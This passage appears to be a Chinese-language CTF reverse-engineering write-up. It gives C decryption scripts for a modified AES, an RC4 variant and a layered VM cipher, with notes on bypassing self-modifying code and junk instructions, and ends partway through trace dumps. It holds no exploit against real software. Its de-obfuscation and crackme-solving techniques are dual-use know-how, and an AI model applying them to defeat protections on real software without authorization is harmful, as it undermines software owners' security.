for (int i = 0; i < 4; ++i) {
//便于行循环移位,先把一行4字节拼成uint_32结构,移位后再转成独立的4个字节uint8_t
LOAD32H(block[i], state[i]);
block[i] = ROF32(block[i], 8*i);
STORE32H(block[i], state[i]);
}

return 0;
}

//逆行移位
int invShiftRows(uint8_t (*state)[4]) {
uint32_t block[4] = {0};

/* i: row */
for (int i = 0; i < 4; ++i) {
LOAD32H(block[i], state[i]);
block[i] = ROR32(block[i], 8*i);
STORE32H(block[i], state[i]);
}

return 0;
}

/* Galois Field (256) Multiplication of two Bytes */
// 两字节的伽罗华域乘法运算
uint8_t GMul(uint8_t u, uint8_t v) {
uint8_t p = 0;

for (int i = 0; i < 8; ++i) {
if (u & 0x01) { //
p ^= v;
}

int flag = (v & 0x80);
v <<= 1;
if (flag) {
v ^= 0x1B; /* x^8 + x^4 + x^3 + x + 1 */
}

u >>= 1;
}

return p;
}

// 列混合
int mixColumns(uint8_t (*state)[4]) {
uint8_t tmp[4][4];
uint8_t M[4][4] = {{0x02, 0x03, 0x01, 0x01},
{0x01, 0x02, 0x03, 0x01},
{0x01, 0x01, 0x02, 0x03},
{0x03, 0x01, 0x01, 0x02}};

/* copy state[4][4] to tmp[4][4] */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j){
tmp[i][j] = state[i][j];
}
}

for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) { //伽罗华域加法和乘法
state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
}
}

return 0;
}

// 逆列混合
int invMixColumns(uint8_t (*state)[4]) {
uint8_t tmp[4][4];
uint8_t M[4][4] = {{0x0E, 0x0B, 0x0D, 0x09},
{0x09, 0x0E, 0x0B, 0x0D},
{0x0D, 0x09, 0x0E, 0x0B},
{0x0B, 0x0D, 0x09, 0x0E}}; //使用列混合矩阵的逆矩阵

/* copy state[4][4] to tmp[4][4] */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j){
tmp[i][j] = state[i][j];
}
}

for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
}
}

return 0;
}


void init(unsigned char *a1)
{
unsigned int i; // [esp+0h] [ebp-8h]
char v2; // [esp+7h] [ebp-1h]

for ( i = 0; i < 0x10; i += 2 )
{
v2 = a1[i] ^ 5;
a1[i] = a1[i + 1] ^ 5;
a1[i + 1] = v2;
}
}

void init2(unsigned char *flag)
{
unsigned int i; // [esp+0h] [ebp-Ch]
unsigned int i_1; // [esp+4h] [ebp-8h]
char v3; // [esp+Bh] [ebp-1h]

i_1 = 0;
for ( i = 15; i_1 < i; --i )
{
v3 = flag[i_1] ^ 0xF;
flag[i_1] = flag[i] ^ 0xF;
flag[i] = v3;
++i_1;
}
}

void init3(unsigned char *a1)
{
unsigned int i; // [esp+0h] [ebp-8h]
char v2; // [esp+7h] [ebp-1h]

for ( i = 0; i < 0x10; i += 2 )
{
v2 = a1[i] ^ 5;
a1[i] = a1[i + 1] ^ 5;
a1[i + 1] = v2;
}
}
// AES-128加密接口,输入key应为16字节长度,输入长度应该是16字节整倍数,
// 这样输出长度与输入长度相同,函数调用外部为输出数据分配内存
int aesEncrypt(const uint8_t *key, uint32_t keyLen, uint8_t *pt, uint8_t *ct, uint32_t len) {

AesKey aesKey;
uint8_t *pos = ct;
const uint32_t *rk = aesKey.eK; //解密秘钥指针
uint8_t out[BLOCKSIZE] = {0};
uint8_t actualKey[16] = {0};
uint8_t state[4][4] = {0};

if (NULL == key || NULL == pt || NULL == ct){
printf("param err.\n");
return -1;
}

if (keyLen > 16){
printf("keyLen must be 16.\n");
return -1;
}

if (len % BLOCKSIZE){
printf("inLen is invalid.\n");
return -1;
}
for (int j = 0; j < 16; j++) {
printf("%X ", pt[j]);
}
printf("\n");
memcpy(actualKey, key, keyLen);
init(actualKey);
keyExpansion(actualKey, 16, &aesKey); // 秘钥扩展

// 使用ECB模式循环加密多个分组长度的数据
for (int i = 0; i < len; i += BLOCKSIZE) {
// 把16字节的明文转换为4x4状态矩阵来进行处理

init2(pt);

for (int j = 0; j < 16; j++) {
printf("%X ", pt[j]);
}
printf("\n");
loadStateArray(state, pt);
// 轮秘钥加
addRoundKey(state, rk);

for (int j = 1; j < 10; ++j) {
rk += 4;
subBytes(state); // 字节替换
shiftRows(state); // 行移位
mixColumns(state); // 列混合
addRoundKey(state, rk); // 轮秘钥加
}



subBytes(state); // 字节替换

shiftRows(state); // 行移位
// 此处不进行列混合

addRoundKey(state, rk+4); // 轮秘钥加

// 把4x4状态矩阵转换为uint8_t一维数组输出保存
storeStateArray(state, pos);
init3(pos);
pos += BLOCKSIZE; // 加密数据内存指针移动到下一个分组
pt += BLOCKSIZE; // 明文数据指针移动到下一个分组
rk = aesKey.eK; // 恢复rk指针到秘钥初始位置
}
return 0;
}

// AES128解密, 参数要求同加密
int aesDecrypt(const uint8_t *key, uint32_t keyLen, uint8_t *ct, uint8_t *pt, uint32_t len) {
AesKey aesKey;
uint8_t *pos = pt;
const uint32_t *rk = aesKey.dK; //解密秘钥指针
uint8_t out[BLOCKSIZE] = {0};
uint8_t actualKey[16] = {0};
uint8_t state[4][4] = {0};

if (NULL == key || NULL == ct || NULL == pt){
printf("param err.\n");
return -1;
}

if (keyLen > 16){
printf("keyLen must be 16.\n");
return -1;
}

if (len % BLOCKSIZE){
printf("inLen is invalid.\n");
return -1;
}

memcpy(actualKey, key, keyLen);
init(actualKey);
keyExpansion(actualKey, 16, &aesKey); //秘钥扩展,同加密

for (int i = 0; i < len; i += BLOCKSIZE) {
init3(ct);
// 把16字节的密文转换为4x4状态矩阵来进行处理
loadStateArray(state, ct);
// 轮秘钥加,同加密
addRoundKey(state, rk);

for (int j = 1; j < 10; ++j) {
rk += 4;
invShiftRows(state); // 逆行移位
invSubBytes(state); // 逆字节替换,这两步顺序可以颠倒
addRoundKey(state, rk); // 轮秘钥加,同加密
invMixColumns(state); // 逆列混合
}

invSubBytes(state); // 逆字节替换
invShiftRows(state); // 逆行移位
// 此处没有逆列混合
addRoundKey(state, rk+4); // 轮秘钥加,同加密

storeStateArray(state, pos); // 保存明文数据
init2(pos);
pos += BLOCKSIZE; // 输出数据内存指针移位分组长度
ct += BLOCKSIZE; // 输入数据内存指针移位分组长度
rk = aesKey.dK; // 恢复rk指针到秘钥初始位置
}
return 0;
}

struct tm
{
int day;
int month;
int year;
};



int main() {
unsigned char key[16] ={0};
unsigned char a[]={0xCD,0x16,0xDB,0xB5,0xD1,0x2,0xA4,0x82,0x8E,0x59,0x73,0x9E,0x96,0x26,0x56,0xF2,0x16,0x8E,0x46,0xF2,0x55,0x7B,0x92,0x31,0x30,0xDC,0xAA,0x8A,0xF3,0x1C,0xA0,0xAA};
unsigned char b[16];
unsigned char c[16];
unsigned int Src[3];
unsigned char plain[] = {0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31};
unsigned char aa[12]={0x4,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x7D,0x0,0x0,0x0};
unsigned char out[16];
unsigned char r[16]={0};

struct tm t;
void* ptr = &t;
t.year = 124;

for(int i = 0; i < 12; i++) {
for (int j = 1; j < 32; j++) {
t.month = i;
t.day = j;
memset(Src, 0, 12);
memset(key,0, 16);
memcpy(Src, ptr, 12);
md5((uint8_t*)Src, 12, key);
for(int k = 0; k < 16; k++) {
key[k] ^= 0x14;
key[k] ^= 0x11;
}
aesDecrypt(key,16,a,c,32);
for(int i = 0; i < 32; i++) {
printf("%c",*((char *)c+i)&0xff);
}
printf("\n");
}
}


}

Room 0

image

看似过程非常简单

image

但是这个算法应该是不可逆的,所以肯定隐藏了其他的秘密(其实最后发现是爆破,让他出现除0错误

image

发现了一个rwx的enc段,有w又有x,很有可能是smc

image

try catch隐藏了smc操作,后面的很多地方都出现了花,修复后继续看代码

image

看起来是与输入的key循环异或

key不可逆 那怎么办呢?

image

函数头前3字节基本固定,只需要确定第4字节,利用idapython尝试后得到密码

image

idapython进行异或解密,去除花指令得到enc函数

image

一个rc4,不过貌似有点问题,key在运算过程中变掉了,所以我直接取出最后的sbox和key进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include<stdio.h>
/*初始化函数*/
void rc4_init(unsigned char*s,unsigned char*key, unsigned long Len)
{
int i=0,j=0;
//char k[256]={0};
unsigned char k[256]={0};
unsigned char tmp=0;
for(i=0;i<256;i++) {
s[i]=i;
k[i]=key[i%Len];
}
for(i=0;i<256;i++) {
j=(j+s[i]+k[i])%256;
tmp=s[i];
s[i]=s[j];//交换s[i]和s[j]
s[j]=tmp;
}
}


/*加解密*/
void rc4_crypt(unsigned char*s,unsigned char*Data,unsigned long Len, unsigned char* key)
{
int i=0,j=0,t=0;
unsigned long k=0;
unsigned char tmp;
for(k=0;k<Len;k++)
{
i=(i+1)%256;

j=(j+s[i])%256;

tmp=s[i];
s[i]=s[j];//交换s[x]和s[y]
s[j]=tmp;
t=(s[i]+s[j])%256;
Data[k]^=(s[t] ^ key[i%8]) ;
}
}



int main() {
unsigned char key[]={ 0xD4,0x35,0x6D,0xF8,0xF8,0x6D,0x35,0xD4};
unsigned char enc[]={0x22,0xC4,0xA0,0x5A,0xDE,0xED,0x62,0x5E,0x25,0xE2,0x6D,0xA6,0x5,0xA7,0x20,0x8D,0x7D,0x99,0x52,0x3E,0x8C,0xA7,0x7F,0xFA,0x9,0xD8,0x62,0xDB,0x0,0x80,0xC2,0xA9};
unsigned char s[256] = {0xD4,0x8,0x1F,0x74,0x70,0x1C,0x64,0xF8,0x8A,0x4,0x80,0x10,0x19,0x31,0x25,0xFE,0x5D,0x72,0x46,0x78,0x5,0x2F,0xAB,0xF,0x17,0xD0,0x57,0x3C,0x7E,0xF1,0xE4,0xCF,0xB8,0x21,0x69,0x23,0xF9,0xD9,0xEB,0x6C,0x92,0x71,0x0,0x20,0xB2,0x1,0x86,0x2C,0x56,0x7A,0x50,0xDA,0x99,0x3B,0x13,0x26,0x3E,0x28,0xBA,0xE7,0x6A,0xC5,0x93,0x95,0x5F,0x4F,0x54,0xBF,0xE5,0x97,0x5C,0x32,0x67,0xAF,0x2,0xA1,0xA4,0x9B,0xA9,0xD5,0x60,0x8D,0x2D,0x45,0xE3,0x38,0x4B,0x4E,0xAE,0xD8,0xA2,0xAC,0x33,0x22,0x9E,0xB7,0x63,0xB5,0xE2,0xA0,0xBC,0xD7,0xC9,0xB1,0xED,0x83,0x88,0x4A,0xC3,0x14,0xEE,0x48,0xA8,0x1B,0xFC,0x85,0xEF,0x49,0x7C,0x9,0xA7,0xCD,0x6F,0xC7,0xCE,0xB4,0xFB,0x66,0xE1,0x68,0xC1,0x81,0xBE,0xF4,0x1E,0x44,0xAA,0x51,0x8F,0xFA,0xC0,0x11,0x96,0x18,0x6E,0xE0,0x59,0xA5,0x98,0xCC,0x82,0x30,0x16,0xE8,0x1D,0x6D,0xDF,0x8B,0xA3,0x27,0xD1,0x4D,0x9F,0xB0,0x52,0xC,0x58,0x5E,0x12,0xE,0x65,0x40,0xF2,0x15,0x7F,0x41,0x73,0xC2,0xCB,0xB6,0x53,0x3A,0x75,0xE9,0x77,0x2E,0xD6,0x42,0xC4,0x90,0x4C,0x7,0x5A,0x2A,0x6B,0x29,0xC8,0x89,0x9D,0x2B,0xF0,0xBD,0x3,0x24,0x91,0x36,0x94,0x37,0x87,0xD2,0x61,0xD,0xE6,0xAD,0xA6,0x8E,0xB3,0xF3,0xF5,0x9A,0xFD,0x35,0xC6,0xF7,0x7D,0xB,0xF6,0x84,0x1A,0x55,0xD3,0x9C,0xFF,0x76,0xB9,0x6,0xEA,0xBB,0x5B,0xCA,0xDB,0x34,0xA,0xEC,0x39,0xDC,0x43,0x47,0xDE,0xDD,0x3F,0x62,0x3D,0x7B,0x8C,0x79};
// rc4_init(s,key,8);
rc4_crypt(s,enc,32,key);
for(int i = 0; i < 32; i++) {
printf("%c",enc[i]);
}
}

Canon

我勒个叠叠乐

image

简易的vm

image

加密函数是凯撒加栅栏加rc4加base64加异或,叠叠乐

image

base64的码表被偷换掉了

根据加密写出各个解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include<stdio.h>

/*初始化函数*/
void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len)
{
int i = 0, j = 0;
unsigned char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i<256; i++)
{
s[i] = i;
k[i] = key[i%Len];
}
for (i = 0; i<256; i++)
{
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];//交换s[i]和s[j]
s[j] = tmp;
}
}

/*加解密*/
void rc4_crypt(unsigned char*s, unsigned char*Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
unsigned char tmp1[100]= {0};


for (k = 0; k<Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];//交换s[x]和s[y]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
// Data[k] ^= s[t];
printf("0x%X, ", ((Data[k] - 57 + 256) ^ s[t])%256);
// printf("%c", ((Data[k] - 57 + 256) ^ s[t])%256);
// out[k] = (tmp1[k] - 57 + 256) ^ s[t];
}
}

void dec(unsigned char* plain1, unsigned char* plain2,int len1) {
unsigned char a;
for (int nn = 0; nn < *plain2 % 10 + 2; ++nn )
{
a = plain1[0];
for (int i1 = 0; i1 < len1-1; ++i1 ) {
plain1[i1] = plain1[i1 + 1];
}
plain1[len1-1] = a;
}
for (int nn = 0; nn < len1; ++nn )
{
printf("0x%X, ",plain1[nn]);
// printf("%c",plain1[nn]);
}
}
void xora(unsigned char* enc, unsigned char* key, int len, int lne2) {
for (int i1 = 0; i1 < len; ++i1 )
// v26[i1] = (plain2[i1 % len2] + 57) ^ plain1[i1];
printf("0x%X, ",enc[i1] ^ (key[i1 % lne2]+57));
// printf("%c",enc[i1] ^ (key[i1 % lne2]+57));
}

void raildecrypt(unsigned char* ciphertext, unsigned char* key, int size) {
int k_1 = key[0] % 10 + 2;
int m = size / k_1;
int r = size % k_1;
unsigned char Block[100][100] = {0};
unsigned char plain[100] = {0};
int i_2 = 0;
printf("%d ", k_1);
for (int ii = 0; ii < k_1; ++ii) {
int rows = (ii < r) ? m + 1 : m;
for (int jj = 0; jj < rows; ++jj) {
if (i_2 < size) {
Block[ii][jj] = ciphertext[i_2++];
}
}
}
int index = 0;
for (int col = 0; col <= m; ++col) {
for (int ii = 0; ii < k_1; ++ii) {
int rows = (ii < r) ? m + 1 : m;
if (col < rows && index < size) {
plain[index++] = Block[ii][col];
}
}
}

for (int i = 0; i < size; ++i) {
ciphertext[i] = plain[i];
printf("0x%X, ",ciphertext[i]);
// printf("%c",ciphertext[i]);
}
}
unsigned char* decrypt(unsigned char* cipher, unsigned char* key, int len ,int key_len ) {
unsigned char* plain = (unsigned char*)malloc(len + 1);

for (int i = 0; i < len; ++i) {
char k = key[i % key_len];
char c = cipher[i];

if (c >= 'A' && c <= 'Z') {
int offset = (c - k - 'A') % 26;
if (offset < 0) offset += 26;
plain[i] = offset + 'A';
} else if (c >= 'a' && c <= 'z') {
int offset = (c - k - 'a') % 26;
if (offset < 0) offset += 26;
plain[i] = offset + 'a';
} else if (c >= '0' && c <= '9') {
int offset = (c - k - '0') % 10;
if (offset < 0) offset += 10;
plain[i] = offset + '0';
} else {
plain[i] = c;
}
printf("0x%X, ",plain[i]);
}
return plain;
}

挺蒙蔽的,算法都是对的,就是梭不出来脚本,貌似是base的问题?(

不管了,手搓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int main() {
unsigned char v15[8];
unsigned char v16[3];
unsigned char v11[3];
int n8;
v15[0] = 1;
v15[1] = 5;
v15[2] = 6;
v15[3] = 3;
v15[4] = 4;
v15[5] = 1;
v15[6] = 4;
v15[7] = 5;
v16[0] = 0;
v16[1] = 1;
v16[2] = 2;
v11[0] = 0;
v11[1] = 0;
v11[2] = 0;

for (int i = 0; i < 8; ++i )
{
for (int j = 0; j < 3; ++j )
{
if ( i >= v16[j] )
{
n8 = v11[j];
if ( n8 < 8 )
{
// printf("%d, ",v15[n8]);

if ( j )
{
if ( j == 1 )
{
// printf("enc1 op-> %d\n",v15[n8]);
// printf("%d, ",v15[n8]);
// printf("1, ");

}
else if ( j == 2 )
{
// printf("enc2 op-> %d\n",v15[n8]);
// printf("%d, ",v15[n8]);
// printf("2, ");

}
}
else
{
// printf("enc3 op-> %d\n",v15[n8]);
// printf("%d, ",v15[8]);
// printf("3, ");


}
++v11[j];
}
}
}
}
}

获取执行流,手动逆向(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
0
0x57,0x67,0x76,0x44,0x6d,0x73,0x73,0x45,0x76,0x63,0x59,0x33,0x32,0x36,0x62,0x48,0x6f,0x33,0x6e,0x4e,0x72,0x6f,0x33,0x76,0x58,0x76,0x76,0x66,0x6d,0x67,0x72,0x7a
0x67,0x58,0x2b,0x52,0x69,0x39,0x50,0x47,0x3d,0x62,0x74,0x35,0x3d,0x30,0x30,0x42,0x36,0x68,0x73,0x63,0x50,0x51,0x4f,0x4c
0x54,0x36,0x62,0x48,0x67,0x55,0x50,0x4c,0x32,0x67,0x58,0x55,0x64,0x3d,0x78,0x54,0x3d,0x46,0x4e,0x48,0x74,0x50,0x7a,0x56
1 ->3 1 1
0x57,0x67,0x76,0x44,0x6d,0x73,0x73,0x45,0x76,0x63,0x59,0x33,0x32,0x36,0x62,0x48,0x6f,0x33,0x6e,0x4e,0x72,0x6f,0x33,0x76,0x58,0x76,0x76,0x66,0x6d,0x67,0x72,0x7a
0x67,0x58,0x2b,0x52,0x69,0x39,0x50,0x47,0x3d,0x62,0x74,0x35,0x3d,0x30,0x30,0x42,0x36,0x68,0x73,0x63,0x50,0x51,0x4f,0x4c
0x4B, 0x33, 0x6E, 0x52, 0x62, 0x4A, 0x45, 0x55, 0x34, 0x6C, 0x4D, 0x56, 0x66, 0x3D, 0x64, 0x5A, 0x3D, 0x47, 0x48, 0x48, 0x6A, 0x49, 0x61, 0x48
2 -> 2 3 4
0x57,0x67,0x76,0x44,0x6d,0x73,0x73,0x45,0x76,0x63,0x59,0x33,0x32,0x36,0x62,0x48,0x6f,0x33,0x6e,0x4e,0x72,0x6f,0x33,0x76,0x58,0x76,0x76,0x66,0x6d,0x67,0x72,0x7a
0x47, 0x3D, 0x62, 0x74, 0x35, 0x3D, 0x30, 0x30, 0x42, 0x36, 0x68, 0x73, 0x63, 0x50, 0x51, 0x4F, 0x4C, 0x67, 0x58, 0x2B, 0x52, 0x69, 0x39, 0x50
0x4B, 0x33, 0x6E, 0x52, 0x62, 0x4A, 0x45, 0x55, 0x34, 0x6C, 0x4D, 0x56, 0x66, 0x3D, 0x64, 0x5A, 0x3D, 0x47, 0x48, 0x48, 0x6A, 0x49, 0x61, 0x48
3-> 1 2 5
0x2B, 0x36, 0x4C, 0x45, 0x6E, 0x6E, 0x66, 0x62, 0x70, 0x47, 0x4A, 0x77, 0x6C, 0x37, 0x6B, 0x77, 0x47, 0x63, 0x3D, 0x54, 0x78, 0x49, 0x3D, 0x4E
0x47, 0x3D, 0x62, 0x74, 0x35, 0x3D, 0x30, 0x30, 0x42, 0x36, 0x68, 0x73, 0x63, 0x50, 0x51, 0x4F, 0x4C, 0x67, 0x58, 0x2B, 0x52, 0x69, 0x39, 0x50
0x4B, 0x33, 0x6E, 0x52, 0x62, 0x4A, 0x45, 0x55, 0x34, 0x6C, 0x4D, 0x56, 0x66, 0x3D, 0x64, 0x5A, 0x3D, 0x47, 0x48, 0x48, 0x6A, 0x49, 0x61, 0x48
4-> 3 1 4
0x2B, 0x36, 0x4C, 0x45, 0x6E, 0x6E, 0x66, 0x62, 0x70, 0x47, 0x4A, 0x77, 0x6C, 0x37, 0x6B, 0x77, 0x47, 0x63, 0x3D, 0x54, 0x78, 0x49, 0x3D, 0x4E
0x47, 0x3D, 0x62, 0x74, 0x35, 0x3D, 0x30, 0x30, 0x42, 0x36, 0x68, 0x73, 0x63, 0x50, 0x51, 0x4F, 0x4C, 0x67, 0x58, 0x2B, 0x52, 0x69, 0x39, 0x50
0x4A, 0x45, 0x55, 0x34, 0x6C, 0x4D, 0x56, 0x66, 0x3D, 0x64, 0x5A, 0x3D, 0x47, 0x48, 0x48, 0x6A, 0x49, 0x61, 0x48, 0x4B, 0x33, 0x6E, 0x52, 0x62

5-> 2 3 1
0x2B, 0x36, 0x4C, 0x45, 0x6E, 0x6E, 0x66, 0x62, 0x70, 0x47, 0x4A, 0x77, 0x6C, 0x37, 0x6B, 0x77, 0x47, 0x63, 0x3D, 0x54, 0x78, 0x49, 0x3D, 0x4E
0x4B, 0x3D, 0x75, 0x74, 0x37, 0x3D, 0x34, 0x38, 0x53, 0x36, 0x76, 0x6A, 0x6A, 0x56, 0x57, 0x4D, 0x51, 0x6E, 0x44, 0x2B, 0x53, 0x63, 0x37, 0x56
0x4A, 0x45, 0x55, 0x34, 0x6C, 0x4D, 0x56, 0x66, 0x3D, 0x64, 0x5A, 0x3D, 0x47, 0x48, 0x48, 0x6A, 0x49, 0x61, 0x48, 0x4B, 0x33, 0x6E, 0x52, 0x62

6 -> 1 2 4
0x62, 0x70, 0x47, 0x4A, 0x77, 0x6C, 0x37, 0x6B, 0x77, 0x47, 0x63, 0x3D, 0x54, 0x78, 0x49, 0x3D, 0x4E, 0x2B, 0x36, 0x4C, 0x45, 0x6E, 0x6E, 0x66
0x4B, 0x3D, 0x75, 0x74, 0x37, 0x3D, 0x34, 0x38, 0x53, 0x36, 0x76, 0x6A, 0x6A, 0x56, 0x57, 0x4D, 0x51, 0x6E, 0x44, 0x2B, 0x53, 0x63, 0x37, 0x56
0x4A, 0x45, 0x55, 0x34, 0x6C, 0x4D, 0x56, 0x66, 0x3D, 0x64, 0x5A, 0x3D, 0x47, 0x48, 0x48, 0x6A, 0x49, 0x61, 0x48, 0x4B, 0x33, 0x6E, 0x52, 0x62

7 -> 3 1 3
0x62, 0x70, 0x47, 0x4A, 0x77, 0x6C, 0x37, 0x6B, 0x77, 0x47, 0x63, 0x3D, 0x54, 0x78, 0x49, 0x3D, 0x4E, 0x2B, 0x36, 0x4C, 0x45, 0x6E, 0x6E, 0x66
0x4B, 0x3D, 0x75, 0x74, 0x37, 0x3D, 0x34, 0x38, 0x53, 0x36, 0x76, 0x6A, 0x6A, 0x56, 0x57, 0x4D, 0x51, 0x6E, 0x44, 0x2B, 0x53, 0x63, 0x37, 0x56
0x4A, 0x34, 0x56, 0x64, 0x47, 0x48, 0x49, 0x48, 0x33, 0x52, 0x45, 0x6C, 0x66, 0x5A, 0x48, 0x6A, 0x61, 0x4B, 0x6E, 0x62, 0x55, 0x4D, 0x3D, 0x3D

8 -> 2 3 4
0x62, 0x70, 0x47, 0x4A, 0x77, 0x6C, 0x37, 0x6B, 0x77, 0x47, 0x63, 0x3D, 0x54, 0x78, 0x49, 0x3D, 0x4E, 0x2B, 0x36, 0x4C, 0x45, 0x6E, 0x6E, 0x66
0x34, 0x38, 0x53, 0x36, 0x76, 0x6A, 0x6A, 0x56, 0x57, 0x4D, 0x51, 0x6E, 0x44, 0x2B, 0x53, 0x63, 0x37, 0x56, 0x4B, 0x3D, 0x75, 0x74, 0x37, 0x3D
0x4A, 0x34, 0x56, 0x64, 0x47, 0x48, 0x49, 0x48, 0x33, 0x52, 0x45, 0x6C, 0x66, 0x5A, 0x48, 0x6A, 0x61, 0x4B, 0x6E, 0x62, 0x55, 0x4D, 0x3D, 0x3D

9 -> 1 2 1
0x62, 0x6C, 0x42, 0x48, 0x69, 0x6A, 0x31, 0x63, 0x6E, 0x48, 0x7A, 0x3D, 0x44, 0x67, 0x44, 0x3D, 0x4B, 0x2B, 0x31, 0x43, 0x52, 0x62, 0x6B, 0x77
0x34, 0x38, 0x53, 0x36, 0x76, 0x6A, 0x6A, 0x56, 0x57, 0x4D, 0x51, 0x6E, 0x44, 0x2B, 0x53, 0x63, 0x37, 0x56, 0x4B, 0x3D, 0x75, 0x74, 0x37, 0x3D
0x4A, 0x34, 0x56, 0x64, 0x47, 0x48, 0x49, 0x48, 0x33, 0x52, 0x45, 0x6C, 0x66, 0x5A, 0x48, 0x6A, 0x61, 0x4B, 0x6E, 0x62, 0x55, 0x4D, 0x3D, 0x3D

10 -> 3 1 6
0x62, 0x6C, 0x42, 0x48, 0x69, 0x6A, 0x31, 0x63, 0x6E, 0x48, 0x7A, 0x3D, 0x44, 0x67, 0x44, 0x3D, 0x4B, 0x2B, 0x31, 0x43, 0x52, 0x62, 0x6B, 0x77
0x34, 0x38, 0x53, 0x36, 0x76, 0x6A, 0x6A, 0x56, 0x57, 0x4D, 0x51, 0x6E, 0x44, 0x2B, 0x53, 0x63, 0x37, 0x56, 0x4B, 0x3D, 0x75, 0x74, 0x37, 0x3D
0x72, 0x46, 0x30, 0x36, 0x63, 0x72, 0x2F, 0x4B, 0x63, 0x50, 0x41, 0x46, 0x6E, 0x4E, 0x38, 0x33
11 -> 2 3 3
0x62, 0x6C, 0x42, 0x48, 0x69, 0x6A, 0x31, 0x63, 0x6E, 0x48, 0x7A, 0x3D, 0x44, 0x67, 0x44, 0x3D, 0x4B, 0x2B, 0x31, 0x43, 0x52, 0x62, 0x6B, 0x77
0x34, 0x76, 0x57, 0x44, 0x37, 0x75, 0x38, 0x6A, 0x4D, 0x2B, 0x56, 0x74, 0x53, 0x6A, 0x51, 0x53, 0x4B, 0x37, 0x36, 0x56, 0x6E, 0x63, 0x3D, 0x3D
0x72, 0x46, 0x30, 0x36, 0x63, 0x72, 0x2F, 0x4B, 0x63, 0x50, 0x41, 0x46, 0x6E, 0x4E, 0x38, 0x33

12 -> 1 2 4
0x69, 0x6A, 0x31, 0x63, 0x6E, 0x48, 0x7A, 0x3D, 0x44, 0x67, 0x44, 0x3D, 0x4B, 0x2B, 0x31, 0x43, 0x52, 0x62, 0x6B, 0x77, 0x62, 0x6C, 0x42, 0x48
0x34, 0x76, 0x57, 0x44, 0x37, 0x75, 0x38, 0x6A, 0x4D, 0x2B, 0x56, 0x74, 0x53, 0x6A, 0x51, 0x53, 0x4B, 0x37, 0x36, 0x56, 0x6E, 0x63, 0x3D, 0x3D
0x72, 0x46, 0x30, 0x36, 0x63, 0x72, 0x2F, 0x4B, 0x63, 0x50, 0x41, 0x46, 0x6E, 0x4E, 0x38, 0x33

13 -> 3 1 5
0x69, 0x6A, 0x31, 0x63, 0x6E, 0x48, 0x7A, 0x3D, 0x44, 0x67, 0x44, 0x3D, 0x4B, 0x2B, 0x31, 0x43, 0x52, 0x62, 0x6B, 0x77, 0x62, 0x6C, 0x42, 0x48
0x34, 0x76, 0x57, 0x44, 0x37, 0x75, 0x38, 0x6A, 0x4D, 0x2B, 0x56, 0x74, 0x53, 0x6A, 0x51, 0x53, 0x4B, 0x37, 0x36, 0x56, 0x6E, 0x63, 0x3D, 0x3D
0x5F, 0x31, 0x64, 0x5F, 0x53, 0x5F, 0x71, 0x43, 0x64, 0x4E, 0x69, 0x7D

14 -> 2 3 6
0x69, 0x6A, 0x31, 0x63, 0x6E, 0x48, 0x7A, 0x3D, 0x44, 0x67, 0x44, 0x3D, 0x4B, 0x2B, 0x31, 0x43, 0x52, 0x62, 0x6B, 0x77, 0x62, 0x6C, 0x42, 0x48
0x69, 0x64, 0x37, 0x34, 0x71, 0x68, 0x58, 0x65, 0x71, 0x2B, 0x58, 0x50, 0x6C, 0x6C, 0x72, 0x4C
0x5F, 0x31, 0x64, 0x5F, 0x53, 0x5F, 0x71, 0x43, 0x64, 0x4E, 0x69, 0x7D

15 -> 1 2 3
0x69, 0x6E, 0x44, 0x4B, 0x43, 0x6B, 0x6C, 0x6A, 0x48, 0x67, 0x2B, 0x52, 0x77, 0x42, 0x31, 0x7A, 0x44, 0x31, 0x62, 0x62, 0x48, 0x63, 0x3D, 0x3D
0x69, 0x64, 0x37, 0x34, 0x71, 0x68, 0x58, 0x65, 0x71, 0x2B, 0x58, 0x50, 0x6C, 0x6C, 0x72, 0x4C
0x5F, 0x31, 0x64, 0x5F, 0x53, 0x5F, 0x71, 0x43, 0x64, 0x4E, 0x69, 0x7D

16 -> 3 1 1
